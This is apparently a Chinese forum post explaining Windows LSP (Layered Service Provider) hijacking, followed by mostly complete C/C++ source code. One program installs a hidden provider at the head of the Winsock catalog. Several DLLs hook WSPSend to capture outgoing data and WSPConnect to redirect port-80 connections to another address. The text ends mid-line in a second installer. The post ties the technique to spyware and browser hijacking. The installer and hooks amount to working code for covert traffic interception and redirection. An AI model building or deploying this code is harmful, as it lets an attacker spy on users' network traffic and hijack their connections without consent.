LSP 网络劫持(Layered Service Provider Hijacking)

[复制链接]
发表于 2024-4-5 05:00:53 | 显示全部楼层 |阅读模式

LSP 简介:
  1. 分层服务提供商(Layered Service Provider,LSP)是一种可以扩展Winsock作为应用程序的 Windows 的网络套接字工具的机制。Winsock LSP 可用于非常广泛的实用用途,包括 Internet 家长控制 (parental control) 和 Web 内容筛选。在以前版本的 Windows XP 中,删除不正确的(也称为“buggy”)LSP 可能会导致注册表中的 Winsock 目录损坏,潜在的导致所有网络连接的丢失。 LSP就是TCP/IP等协议的接口.LSP用在正途上可以方便程序员们编写监视系统网络通讯情况的Sniffer,可是现在常见的LSP都被用于浏览器劫持。
  2. “浏览器劫持” 或者 “分层服务提供程序”。某些间谍软件会修改Winsock 2的设置,进行LSP“浏览器劫持”,所有与网络交换的信息都要通过这些间谍软件,从而使得它们可以监控监控使用者的信息。著名的如New net插件或WebHancer组件,它们是安装一些软件时带来的你不想要的东西。
复制代码
LSP 劫持(Layered Service Provider Hijacking):
  1. 是一种计算机安全漏洞和攻击技术,通常与Windows操作系统相关。它涉及到网络协议栈中的层式服务提供程序(Layered Service Provider,LSP),这些提供程序用于修改、监视或过滤网络流量。LSP劫持是指攻击者通过操纵LSP,以在网络通信中插入恶意代码或进行网络监听,从而捕获敏感信息或执行恶意操作。
  2. 应用程序通过 socket 进行网络通信时会调用 ws2_32.dll 的导出函数,比如 send/recv 等,而这些函数时通过更底层的 LSP 提供的 SPI(服务提供者接口)实现的。
  3. 如果有多个符合条件的 SPI,系统将会调用在 winsock 目录最前面的那个 。所以注册一个 SPI 并插入到 winsock 目录的最前面就可以劫持了。另外劫持 LSP 需要将代码卸载 DLL 里。
复制代码
实现代码:
主程序:
  1. #include <Ws2spi.h>
  2. #include <Sporder.h>
  3. #include <windows.h>
  4. #include <stdio.h>
  5. #pragma comment(lib, "Ws2_32.lib")
  6. #pragma comment(lib, "Rpcrt4.lib")
  7. // LSP硬编码
  8. GUID  ProviderGuid = { 0xd3c21122, 0x85e1, 0x48f3, { 0x9a, 0xb6, 0x23, 0xd9, 0x0c, 0x73, 0x07, 0xef } };
  9. LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
  10. {
  11.         DWORD dwSize = 0;
  12.         int nError;
  13.         LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
  14.         if (::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
  15.         {
  16.                 if (nError != WSAENOBUFS)return NULL;
  17.         }
  18.         pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
  19.         *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
  20.         return pProtoInfo;
  21. }
  22. void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
  23. {
  24.         ::GlobalFree(pProtoInfo);
  25. }
  26. BOOL InstallProvider(WCHAR *pwszPathName)
  27. {
  28.         WCHAR wszLSPName[] = L"PhoenixLSP";
  29.         LPWSAPROTOCOL_INFOW pProtoInfo;
  30.         int nProtocols;
  31.         WSAPROTOCOL_INFOW OriginalProtocolInfo[3];
  32.         DWORD            dwOrigCatalogId[3];
  33.         int nArrayCount = 0;
  34.         DWORD dwLayeredCatalogId;       // 我们分层协议的目录ID号
  35.         int nError;
  36.         // 找到我们的下层协议,将信息放入数组中
  37.         // 枚举所有服务程序提供者
  38.         pProtoInfo = GetProvider(&nProtocols);
  39.         BOOL bFindUdp = FALSE;
  40.         BOOL bFindTcp = FALSE;
  41.         BOOL bFindRaw = FALSE;
  42.         for (int i = 0; i < nProtocols; i++)
  43.         {
  44.                 if (pProtoInfo[i].iAddressFamily == AF_INET)
  45.                 {
  46.                         if (!bFindUdp && pProtoInfo[i].iProtocol == IPPROTO_UDP)
  47.                         {
  48.                                 memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
  49.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
  50.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
  51.                                 dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
  52.                                 bFindUdp = TRUE;
  53.                         }
  54.                         if (!bFindTcp && pProtoInfo[i].iProtocol == IPPROTO_TCP)
  55.                         {
  56.                                 memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
  57.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
  58.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
  59.                                 dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
  60.                                 bFindTcp = TRUE;
  61.                         }
  62.                         if (!bFindRaw && pProtoInfo[i].iProtocol == IPPROTO_IP)
  63.                         {
  64.                                 memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
  65.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
  66.                                 OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
  67.                                 dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
  68.                                 bFindRaw = TRUE;
  69.                         }
  70.                 }
  71.         }
  72.         // 安装我们的分层协议,获取一个dwLayeredCatalogId
  73.         // 随便找一个下层协议的结构复制过来即可
  74.         WSAPROTOCOL_INFOW LayeredProtocolInfo;
  75.         memcpy(&LayeredProtocolInfo, &OriginalProtocolInfo[0], sizeof(WSAPROTOCOL_INFOW));
  76.         // 修改协议名称,类型,设置PFL_HIDDEN标志
  77.         wcscpy(LayeredProtocolInfo.szProtocol, wszLSPName);
  78.         LayeredProtocolInfo.ProtocolChain.ChainLen = LAYERED_PROTOCOL; // 0;
  79.         LayeredProtocolInfo.dwProviderFlags |= PFL_HIDDEN;
  80.         // 安装
  81.         //WSAEPROVIDERFAILEDINIT---------DLL导出函数需要导出WSPStartup
  82.         if (::WSCInstallProvider(&ProviderGuid,pwszPathName, &LayeredProtocolInfo, 1, &nError) == SOCKET_ERROR)
  83.         {
  84.                 int  a = GetLastError();
  85.                 printf("WSCInstallProvider  %d\n", a);
  86.                 getchar();
  87.                 getchar();
  88.                 return FALSE;
  89.         }
  90.         // 重新枚举协议,获取分层协议的目录ID号
  91.         FreeProvider(pProtoInfo);
  92.         pProtoInfo = GetProvider(&nProtocols);
  93.         for (int i = 0; i < nProtocols; i++)
  94.         {
  95.                 if (memcmp(&pProtoInfo[i].ProviderId, &ProviderGuid, sizeof(ProviderGuid)) == 0)
  96.                 {
  97.                         dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
  98.                         break;
  99.                 }
  100.         }
  101.         // 安装协议链
  102.         // 修改协议名称,类型
  103.         WCHAR wszChainName[WSAPROTOCOL_LEN + 1];
  104.         for (int i = 0; i < nArrayCount; i++)
  105.         {
  106.                 swprintf(wszChainName, L"%ws over %ws", wszLSPName, OriginalProtocolInfo[i].szProtocol);
  107.                 wcscpy(OriginalProtocolInfo[i].szProtocol, wszChainName);
  108.                 if (OriginalProtocolInfo[i].ProtocolChain.ChainLen == 1)
  109.                 {
  110.                         OriginalProtocolInfo[i].ProtocolChain.ChainEntries[1] = dwOrigCatalogId[i];
  111.                 }
  112.                 else
  113.                 {
  114.                         for (int j = OriginalProtocolInfo[i].ProtocolChain.ChainLen; j > 0; j--)
  115.                         {
  116.                                 OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j]= OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j - 1];
  117.                         }
  118.                 }
  119.                 OriginalProtocolInfo[i].ProtocolChain.ChainLen++;
  120.                 OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId;
  121.         }
  122.         // 获取一个Guid,安装之
  123.         GUID ProviderChainGuid;
  124.         if (::UuidCreate(&ProviderChainGuid) == RPC_S_OK)
  125.         {
  126.                 if (WSCInstallProvider(&ProviderChainGuid,pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR)
  127.                 {
  128.                         printf("UuidCreate1\n");
  129.                         return FALSE;
  130.                 }
  131.         }
  132.         else
  133.         {
  134.                 printf("UuidCreate2\n");
  135.                 return FALSE;
  136.         }
  137.                
  138.         // 重新排序Winsock目录,将我们的协议链提前
  139.         // 重新枚举安装的协议
  140.         FreeProvider(pProtoInfo);
  141.         pProtoInfo = GetProvider(&nProtocols);
  142.         DWORD dwIds[20];
  143.         int nIndex = 0;
  144.         // 添加我们的协议链
  145.         for (int i = 0; i < nProtocols; i++)
  146.         {
  147.                 if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
  148.                         dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
  149.         }
  150.         // 添加其它协议
  151.         for (int i = 0; i < nProtocols; i++)
  152.         {
  153.                 if ((pProtoInfo[i].ProtocolChain.ChainLen <= 1) ||(pProtoInfo[i].ProtocolChain.ChainEntries[0] != dwLayeredCatalogId))
  154.                         dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
  155.         }
  156.         // 重新排序Winsock目录
  157.         if ((nError = ::WSCWriteProviderOrder(dwIds, nIndex)) != ERROR_SUCCESS)
  158.         {
  159.                 printf("WSCWriteProviderOrder\n");
  160.                 return FALSE;
  161.         }
  162.         FreeProvider(pProtoInfo);
  163.         printf("OK\n");
  164.         return TRUE;
  165. }
  166. BOOL RemoveProvider()
  167. {
  168.         LPWSAPROTOCOL_INFOW pProtoInfo;
  169.         int nProtocols;
  170.         DWORD dwLayeredCatalogId;
  171.         // 根据Guid取得分层协议的目录ID号
  172.         pProtoInfo = GetProvider(&nProtocols);
  173.         int nError;
  174.         int i = 0;
  175.         for ( i = 0; i < nProtocols; i++)
  176.         {
  177.                 if (memcmp(&ProviderGuid, &pProtoInfo[i].ProviderId, sizeof(ProviderGuid)) == 0)
  178.                 {
  179.                         dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
  180.                         break;
  181.                 }
  182.         }
  183.         if (i < nProtocols)
  184.         {
  185.                 // 移除协议链
  186.                 for (i = 0; i < nProtocols; i++)
  187.                 {
  188.                         if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
  189.                         {
  190.                                 WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError);
  191.                         }
  192.                 }
  193.                 // 移除分层协议
  194.                 ::WSCDeinstallProvider(&ProviderGuid, &nError);
  195.         }
  196.         return TRUE;
  197. }
  198. void main(void)
  199. {
  200.     //安装协议
  201.         TCHAR szPathName[256];
  202.         TCHAR* p;
  203.         if (::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0)
  204.         {
  205.                 if (InstallProvider(szPathName))
  206.                 {
  207.                         printf(" Install successully. \n");
  208.                 }
  209.         }
  210.     system("pause");
  211.         //移除协议
  212.         if (RemoveProvider())
  213.                 printf(" Deinstall successully. \n");
  214.         else
  215.                 printf(" Deinstall failed. \n");
  216.         system("pause");
  217.         return 0;
  218. }
复制代码
LSP.Dll
  1. #include <Winsock2.h>
  2. #include <Ws2spi.h>
  3. #include <Windows.h>
  4. #include <stdio.h>
  5. #include <tchar.h>
  6. #pragma comment(lib, "Ws2_32.lib")
  7. WSPUPCALLTABLE g_pUpCallTable;      // 上层函数列表。如果LSP创建了自己的伪句柄,才使用这个函数列表
  8. WSPPROC_TABLE g_NextProcTable;      // 下层函数列表
  9. TCHAR   g_szCurrentApp[MAX_PATH];   // 当前调用本DLL的程序的名称
  10. BOOL APIENTRY DllMain(HANDLE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
  11. {
  12.         switch (ul_reason_for_call)
  13.         {
  14.         case DLL_PROCESS_ATTACH:
  15.         {
  16.                 GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH);
  17.         }
  18.         break;
  19.         }
  20.         return TRUE;
  21. }
  22. LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
  23. {
  24.         DWORD dwSize = 0;
  25.         int nError;
  26.         LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
  27.         // 取得需要的长度
  28.         if (WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
  29.         {
  30.                 if (nError != WSAENOBUFS)return NULL;
  31.         }
  32.         pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
  33.         *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
  34.         return pProtoInfo;
  35. }
  36. void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
  37. {
  38.         GlobalFree(pProtoInfo);
  39. }
  40. int WSPAPI WSPSendTo(
  41.         SOCKET          s,
  42.         LPWSABUF        lpBuffers,
  43.         DWORD           dwBufferCount,
  44.         LPDWORD         lpNumberOfBytesSent,
  45.         DWORD           dwFlags,
  46.         const struct sockaddr FAR * lpTo,
  47.         int             iTolen,
  48.         LPWSAOVERLAPPED lpOverlapped,
  49.         LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
  50.         LPWSATHREADID   lpThreadId,
  51.         LPINT           lpErrno
  52.         )
  53. {
  54.         OutputDebugString(g_szCurrentApp);
  55.         // 拒绝所有目的端口为4567的UDP封包
  56.         SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo;
  57.         if (sa.sin_port == htons(4567))
  58.         {
  59.                 int iError;
  60.                 g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError);
  61.                 *lpErrno = WSAECONNABORTED;
  62.                 return SOCKET_ERROR;
  63.         }
  64.         return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo, iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
  65. }
  66. int WSPAPI  WSPSend(
  67.         SOCKET s,
  68.         LPWSABUF lpBuffers,
  69.         DWORD dwBufferCount,
  70.         LPDWORD lpNumberOfBytesSent,
  71.         DWORD dwFlags,
  72.         LPWSAOVERLAPPED lpOverlapped,
  73.         LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
  74.         LPWSATHREADID lpThreadId,
  75.         LPINT lpErrno
  76.         )
  77. {
  78.         if (lpBuffers)
  79.         {
  80.                 if (lpBuffers->len > 1 && lpBuffers->buf)
  81.                 {
  82.                         char szText[20480] = { 0 };
  83.                         _snprintf_s(szText, sizeof(szText), ("当前数据:长度%d  数据%s\n"), lpBuffers->len, lpBuffers->buf);
  84.                         OutputDebugStringA(szText);
  85.                 }
  86.         }
  87.         return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
  88. }
  89. int WSPAPI  WSPConnect(
  90.         SOCKET s,
  91.         const struct sockaddr FAR* name,
  92.         int namelen,
  93.         LPWSABUF lpCallerData,
  94.         LPWSABUF lpCalleeData,
  95.         LPQOS lpSQOS,
  96.         LPQOS lpGQOS,
  97.         LPINT lpErrno
  98.         )
  99. {
  100.        
  101.         PSOCKADDR_IN paddrSrv = (SOCKADDR_IN*)name;
  102.         if (paddrSrv)
  103.         {
  104.                 if (paddrSrv->sin_family==AF_INET)
  105.                 {
  106.                         if (ntohs(paddrSrv->sin_port)==80)
  107.                         {
  108.                                 OutputDebugString(g_szCurrentApp);
  109.                                 char szText[MAX_PATH] = { 0 };
  110.                                 _snprintf_s(szText, sizeof(szText), ("当前端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
  111.                                 OutputDebugStringA(szText);
  112.                                 paddrSrv->sin_addr.S_un.S_addr = inet_addr("8.8.8.8");
  113.                                 _snprintf_s(szText, sizeof(szText), ("修改后端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
  114.                                 OutputDebugStringA(szText);
  115.                         }
  116.                 }
  117.         }
  118.         return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
  119. }
  120. int WSPAPI WSPStartup(
  121.         WORD wVersionRequested,
  122.         LPWSPDATA lpWSPData,
  123.         LPWSAPROTOCOL_INFO lpProtocolInfo,
  124.         WSPUPCALLTABLE UpcallTable,
  125.         LPWSPPROC_TABLE lpProcTable
  126.         )
  127. {
  128.         OutputDebugString(g_szCurrentApp);
  129.         if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
  130.         {
  131.                 return WSAEPROVIDERFAILEDINIT;
  132.         }
  133.         // 保存向上调用的函数表指针(这里我们不使用它)
  134.         g_pUpCallTable = UpcallTable;
  135.         // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
  136.         WSAPROTOCOL_INFOW   NextProtocolInfo;
  137.         int nTotalProtos;
  138.         LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos);
  139.         // 下层入口ID
  140.         int i = 0;
  141.         DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
  142.         for ( i = 0; i < nTotalProtos; i++)
  143.         {
  144.                 if (pProtoInfo[i].dwCatalogEntryId == dwBaseEntryId)
  145.                 {
  146.                         memcpy(&NextProtocolInfo, &pProtoInfo[i], sizeof(NextProtocolInfo));
  147.                         break;
  148.                 }
  149.         }
  150.         if (i >= nTotalProtos)
  151.         {
  152.                 OutputDebugString(TEXT("WSPStartup:  Can not find underlying protocol"));
  153.                 return WSAEPROVIDERFAILEDINIT;
  154.         }
  155.         // 加载下层协议的DLL
  156.         int nError;
  157.         TCHAR szBaseProviderDll[MAX_PATH];
  158.         int nLen = MAX_PATH;
  159.         // 取得下层提供程序DLL路径
  160.         if (::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
  161.         {
  162.                 OutputDebugString(TEXT("WSPStartup: WSCGetProviderPath() failed"));
  163.                 return WSAEPROVIDERFAILEDINIT;
  164.         }
  165.         if (!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
  166.         {
  167.                 OutputDebugString(TEXT("WSPStartup:  ExpandEnvironmentStrings() failed"));
  168.                 return WSAEPROVIDERFAILEDINIT;
  169.         }
  170.         // 加载下层提供程序
  171.         HMODULE hModule = ::LoadLibrary(szBaseProviderDll);
  172.         if (hModule == NULL)
  173.         {
  174.                 //ODS1(L" WSPStartup:  LoadLibrary() failed %d \n", ::GetLastError());
  175.                 OutputDebugString(TEXT("WSPStartup:  LoadLibrary() failed"));
  176.                 return WSAEPROVIDERFAILEDINIT;
  177.         }
  178.         // 导入下层提供程序的WSPStartup函数
  179.         LPWSPSTARTUP  pfnWSPStartup = NULL;
  180.         pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup");
  181.         if (pfnWSPStartup == NULL)
  182.         {
  183.                 //ODS1(L" WSPStartup:  GetProcAddress() failed %d \n", ::GetLastError());
  184.                 OutputDebugString(TEXT("WSPStartup:  GetProcAddress() failed"));
  185.                 return WSAEPROVIDERFAILEDINIT;
  186.         }
  187.         // 调用下层提供程序的WSPStartup函数
  188.         LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
  189.         if (NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
  190.                 pInfo = &NextProtocolInfo;
  191.         int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
  192.         if (nRet != ERROR_SUCCESS)
  193.         {
  194.                 OutputDebugString(TEXT(" WSPStartup:  underlying provider's WSPStartup() failed"));
  195.                 return nRet;
  196.         }
  197.         // 保存下层提供者的函数表
  198.         g_NextProcTable = *lpProcTable;
  199.         // 修改传递给上层的函数表,Hook感兴趣的函数,这里做为示例,仅Hook了WSPSendTo函数
  200.         // 您还可以Hook其它函数,如WSPSocket、WSPCloseSocket、WSPConnect等
  201.         //lpProcTable->lpWSPSendTo = WSPSendTo;
  202.         lpProcTable->lpWSPSend = WSPSend;
  203.         lpProcTable->lpWSPConnect = WSPConnect;
  204.         FreeProvider(pProtoInfo);
  205.         return nRet;
  206. }
复制代码
DLL源码:
  1. // 全局遍历
  2. WCHAR exepath[MAX_PATH] = { 0 };
  3. WSPPROC_TABLE trueTable = { 0 };
  4. int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
  5. {
  6.     //  首次调用,pProtoInfo传入NULL,取得需要的缓冲区长度
  7.     DWORD dwSize = 0;
  8.     int nError = 0;
  9.     if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
  10.     {
  11.         if (nError != WSAENOBUFS)
  12.         {
  13.             return 0;
  14.         }
  15.     }
  16.     // 申请足够缓冲区内存。
  17.     pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
  18.     if (pProtoInfo == NULL)
  19.     {
  20.         return 0;
  21.     }
  22.     //再次调用WSCEnumProtocols函数
  23.     return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
  24. }
  25. int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
  26.         LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
  27.         LPINT lpErrno)
  28. {
  29.     SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
  30.     if (addr.sin_port==htons(80))
  31.     {
  32.         MessageBoxW(0, L"有程序访问外网80端口", L"拒绝访问", 0);
  33.         return SOCKET_ERROR;
  34.     }
  35.     return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
  36. }
  37. int WSPAPI WSPStartup(
  38.     WORD wVersionRequested,
  39.     LPWSPDATA lpWSPData,
  40.     LPWSAPROTOCOL_INFOW lpProtocolInfo,
  41.     WSPUPCALLTABLE UpcallTable,
  42.     LPWSPPROC_TABLE lpProcTable
  43. )
  44. /*
  45.     当应用程序通过SOCKET创建socket时会调用系统根据Winsock目录和程序的需要来将对应的传输服务提供者,即
  46.     一个dll加载到目标进程中. 然后调用该dll提供的WSPStartup函数来初始化.初始化的
  47.     目的就是为了通过调用这个函数来获取该这次操作socket的API函数对应的SPI
  48.     这就是windows上写socket时之前必须通过WSAStartup来进行socket初始化的原因
  49.     该函数的lpProcTable 参数是个结构体,保存了所有的SPI函数.也就是可以从这个参数来获取SPI
  50.     所以只需导出这个函数,然后将其他的SPI填写到lpProcTable中,最后返回给程序
  51.     以上都是正常情况下的调用过程. 如果我们让系统加载我们给它提供的dll就可以导出该函数,并
  52.     hook掉lpProcTable中的成员进行监控监控. 但是我们hook该函数后允许的话应该最后要调用正常的SPI,
  53.     这时参数lpProtocolInfo就能派上用场. 通过该参数可以获取原来的协议的目录id,然后遍历winsock
  54.     目录找到对应的协议的传输服务提供者即一个dll路径,通过加载该dll并调用其中的WSPStartup即可获取
  55.     真正的SPI,然后调用它.最终可以实现监控监控,修改,拦截等功能
  56. */
  57. {
  58.     //我们编写的DLL用于协议链中,所以如果是基础协议或分层协议使用则直接返回错误
  59.     if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
  60.     {
  61.         return WSAEPROVIDERFAILEDINIT;
  62.     }
  63.     WCHAR exename[100] = { 0 };
  64.     wsprintf(exename, L"应用程序: %ls 正在联网,是否允许?", exepath);
  65.     if (MessageBoxW(0,exename,L"温馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
  66.     {
  67.         MessageBoxW(0, L"已拦截", L"提示", 0);
  68.         return WSAEPROVIDERFAILEDINIT;
  69.     }
  70.     // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构   
  71.     WSAPROTOCOL_INFOW    trueProtocolInfo;    //保存真正的协议结构
  72.     LPWSAPROTOCOL_INFOW pProtoInfo = NULL;   
  73.     int allproto = GetProvider(pProtoInfo);
  74.     DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//获取真正的协议目录id
  75.     int i;
  76.     //遍历查找真正的协议结构
  77.     for (i = 0; i < allproto; i++)
  78.     {
  79.         if (pProtoInfo[i].dwCatalogEntryId==trueId)
  80.         {
  81.             memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
  82.             break;
  83.         }
  84.     }
  85.     //没找到就返回失败
  86.     if (i>=allproto)
  87.     {
  88.         return WSAEPROVIDERFAILEDINIT;
  89.     }
  90.     int nError;
  91.     wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路径
  92.     int nLen = MAX_PATH;
  93.     // 取得下层提供程序DLL路径
  94.     if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
  95.     {
  96.         return WSAEPROVIDERFAILEDINIT;
  97.     }
  98.     //上面的函数执行后路径中会存在环境变量,通过下面展开环境变量
  99.     if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
  100.     {
  101.         return WSAEPROVIDERFAILEDINIT;
  102.     }
  103.     // 加载真正dll
  104.     HMODULE hModule = LoadLibraryW(szBaseProviderDll);
  105.     if (hModule == NULL)
  106.     {
  107.         return WSAEPROVIDERFAILEDINIT;
  108.     }
  109.     // 导入真正dll的WSPStartup函数
  110.     LPWSPSTARTUP  pfnWSPStartup = NULL;
  111.     pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
  112.     if (pfnWSPStartup == NULL)
  113.     {
  114.         return WSAEPROVIDERFAILEDINIT;
  115.     }
  116.     // 调用下层提供程序的WSPStartup函数以填充SPI地址表
  117.     LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
  118.     //
  119.     if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
  120.     {
  121.         pInfo = &trueProtocolInfo;
  122.     }
  123.     else
  124.     {
  125.         for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
  126.         {
  127.             lpProtocolInfo->ProtocolChain.ChainEntries[j]
  128.                 = lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
  129.         }
  130.         lpProtocolInfo->ProtocolChain.ChainLen--;
  131.     }
  132.     //调用真正的WSPStartup, 注意参数,协议结构参数必须是原来我们想劫持的那个协议结构
  133.     int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
  134.     if (nRet != ERROR_SUCCESS)
  135.     {
  136.         return nRet;
  137.     }
  138.     memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便调用
  139.     //进行api替换
  140.     lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;
  141. }
  142. BOOL APIENTRY DllMain(HMODULE hModule,
  143.     DWORD  ul_reason_for_call,
  144.     LPVOID lpReserved
  145. )
  146. {
  147.     switch (ul_reason_for_call)
  148.     {
  149.     case DLL_PROCESS_ATTACH:
  150.         GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
  151.     case DLL_THREAD_ATTACH:
  152.     case DLL_THREAD_DETACH:
  153.     case DLL_PROCESS_DETACH:
  154.         break;
  155.     }
  156.     return TRUE;
  157. }
复制代码
主程序:
  1. #include<Windows.h>
  2. #include<locale.h>
  3. #include<stdio.h>
  4. #include<malloc.h>
  5. #pragma comment(lib,"ws2_32.lib")
  6. GUID layerGuid;
  7. #define layerName L"freesec"
  8. DWORD findGuid()
  9. {
  10.     //枚举winsock目录中的协议
  11.     LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
  12.     DWORD size = 0;            //大小
  13.     DWORD num;                //数量
  14.     WSCEnumProtocols(0, 0, &size, 0);
  15.     info = (LPWSAPROTOCOL_INFOW)malloc(size);
  16.     num = WSCEnumProtocols(0, info, &size, 0);
  17.     if (num == SOCKET_ERROR)
  18.     {
  19.         free(info);
  20.         return 0;
  21.     }
  22.     int i;
  23.     for ( i= 0; i < num; i++)
  24.     {
  25.         if (lstrcmpW(info[i].szProtocol,layerName)==0)
  26.         {
  27.             memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
  28.             break;
  29.         }
  30.     }
  31.     free(info);
  32.     if (i==num)//没找到
  33.     {
  34.         return 0;
  35.     }
  36.     return 1;
  37. }
  38. DWORD lspInject()
  39. {
  40.     //枚举winsock目录中的协议
  41.     LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
  42.     DWORD size = 0;            //大小
  43.     DWORD num;                //数量
  44.     WSCEnumProtocols(0, 0, &size, 0);
  45.     info = (LPWSAPROTOCOL_INFOW)malloc(size);
  46.     num = WSCEnumProtocols(0, info, &size, 0);
  47.     DWORD trueId;            //存储被安装的提供者的目录id
  48.     if (num == SOCKET_ERROR)
  49.     {
  50.         free(info);
  51.         return 0;
  52.     }
  53.     WCHAR supplier[] = layerName;
  54.     WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
  55.     DWORD myId;
  56.     int proto = IPPROTO_TCP; //目标协议
  57.     WSAPROTOCOL_INFOW save = { 0 };    //用于存储指定协议的正常的提供者,最后用来作为分层协议和协议链的模板for (int i = 0; i < num; i++)
